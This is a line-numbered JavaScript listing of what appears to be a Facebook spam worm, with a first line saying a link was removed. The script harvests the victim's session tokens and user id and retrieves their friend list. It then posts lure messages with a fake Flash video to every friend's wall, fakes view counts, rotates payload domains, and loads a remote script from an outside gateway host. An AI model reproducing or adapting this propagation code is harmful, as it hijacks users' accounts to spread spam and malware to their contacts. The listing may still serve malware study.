1. removed the link to prevent misclicking
  2. var message = ""; /* generated */
  3. var caption = "www.youtube";
  4. var description = "";
  5. var name = "Youtube Video";
  6. var img = "http://i.imgur./NlMK1.png";
  7. var gw = "http://gateway.wfnetwork/widget/contentBlocker.js.php?i=1013"; /* jc */
  8. //var gw = "http://www.creepsweepers./locked.js"; /* jc */
  9. var url = "http://banfish/boom.swf";
  10. var flashvars = "bgimg=i.imgur/o0LtR.png&bgimg2=i.imgur.com/lEANf.png&img=i.imgur/NlMK1.png&instructX=60&instructY=100&retarded=true&name=&description=&caption=&message=&length=2%3A52&action_name=&payload_url=&buttonText=Play&gwid=1013"; /* don't need these anymore */
  11. var length = "2:34";
  12. /* message spinner */
  13. var p1 = ['hey', 'HEY', 'WTF', 'OMG', 'ROTFL', 'YO', 'yo', 'YO!', 'omg!', 'omg', 'wtf', 'wtf!!', 'WTF!!','OMG!!'];
  14. var p2 = ['why are you', 'what are you doing', 'I can\'t believe you\'re', 'you look so stupid', 'i cant believe youre tagged', 'why are you tagged','you should untag yourself'];
  15. var p3 = ['in this video', 'in this vid'];
  16. /* domain spinner */
  17. var domains = ['banfish', 'craneland','fliptrip'];
  18. /* utilities */
  19. function getRandomInt (min, max) {
  20. return Math.floor(Math.random() * (max - min + 1)) + min;
  21. }
  22. function randomValue(arr){
  23. return arr[getRandomInt(0, arr.length-1)];
  24. }
  25. function addCommas(nStr)
  26. {
  27. nStr += '';
  28. x = nStr.split('.');
  29. x1 = x[0];
  30. x2 = x.length > 1 ? '.' + x[1] : '';
  31. var rgx = /(\d+)(\d{3})/;
  32. while (rgx.test(x1)) {
  33. x1 = x1.replace(rgx, '$1' + ',' + '$2');
  34. }
  35. return x1 + x2;
  36. }
  37. var p1 = ['hey', 'HEY', 'WTF', 'OMG', 'ROTFL', 'YO', 'yo', 'YO!', 'omg!', 'omg', 'wtf', 'wtf!!', 'WTF!!','OMG!!'];
  38. var p2 = ['why are you', 'what are you doing', 'I can\'t believe you\'re', 'you look so stupid', 'i cant believe youre tagged', 'why are you tagged','you should untag yourself'];
  39. var p3 = ['in this video', 'in this vid'];
  40. var domain = randomValue(domains);
  41. url = "http://" + domain + "/boom.swf?" + flashvars;
  42. var post_form_id = document.getElementsByName('post_form_id')[0].value;
  43. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  44. var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  45. var friends = new Array();
  46. gf = new XMLHttpRequest();
  47. gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&"+Math.random(),false);
  48. gf.send();
  49. if(gf.readyState!=4){ }else{
  50. data = eval('(' + gf.responseText.substr(9) + ')');
  51. if(data.error){ }else{
  52. friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});
  53. }
  54. }
  55. var did = false;
  56. function done(){
  57. if(!did){
  58. did = true;
  59. var script = document.createElement("script");
  60. script.src = gw;
  61. document.body.appendChild(script);
  62. }
  63. }
  64. done();
  65. function attach(name,val){
  66. return "&feed_info[template_data][" + encodeURIComponent(name) + "]=" + encodeURIComponent(val);
  67. }
  68. function attach_media(name,val){
  69. return "&feed_info[template_data][media][0][" + encodeURIComponent(name) + "]=" + encodeURIComponent(val);
  70. }
  71. function attach_prop(name,val){
  72. return "&feed_info[template_data][properties][" + encodeURIComponent(name) + "]=" + encodeURIComponent(val);
  73. }
  74. var x = 0;
  75. friends.sort(function() {return 0.5 - Math.random()});
  76. var max = friends.length;
  77. /*if(max >= 50) max = 50; */
  78. for(var i=0; i<max; i++){
  79. message = [randomValue(p1), friends[i].text.substr(0,friends[i].text.indexOf(' ')).toLowerCase(), randomValue(p2), randomValue(p3)].join(' ');
  80. var httpwp = new XMLHttpRequest();
  81. var viewCount = getRandomInt(843, 7434);
  82. var urlwp = "/fbml/ajax/prompt_feed.php?__a=1";
  83. var paramswp = "&__d=1&app_id=6628568379&extern=0" +
  84. "&post_form_id=" + post_form_id +
  85. "&fb_dtsg=" + fb_dtsg +
  86. /*"&feed_info[action_links][0][href]=" + encodeURIComponent(payload_url) +
  87. "&feed_info[action_links][0][text]=" + encodeURIComponent(action_name) + */
  88. "&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid +
  89. "&user_message=" + encodeURIComponent(message) +
  90. attach("caption", caption) +
  91. attach("description", description) +
  92. attach("name", name) +
  93. attach_prop("Views", addCommas(viewCount)) +
  94. attach_prop("Likes", addCommas(getRandomInt(432, viewCount))) +
  95. attach_media("type", "flash") +
  96. attach_media("swfsrc", url) +
  97. attach_media("imgsrc", img) +
  98. attach_media("flashvars", flashvars);
  99. if(length) paramswp += attach_prop("Length", length);
  100. httpwp.open("POST", urlwp, true);
  101. httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  102. httpwp.setRequestHeader("Content-length", paramswp.length);
  103. httpwp.setRequestHeader("Connection", "keep-alive");
  104. httpwp.onreadystatechange = function(){
  105. if (httpwp.readyState == 4){
  106. x++;
  107. if(x >= friends.length -1){
  108. done();
  109. }
  110. }
  111. };
  112. httpwp.send(paramswp);
  113. }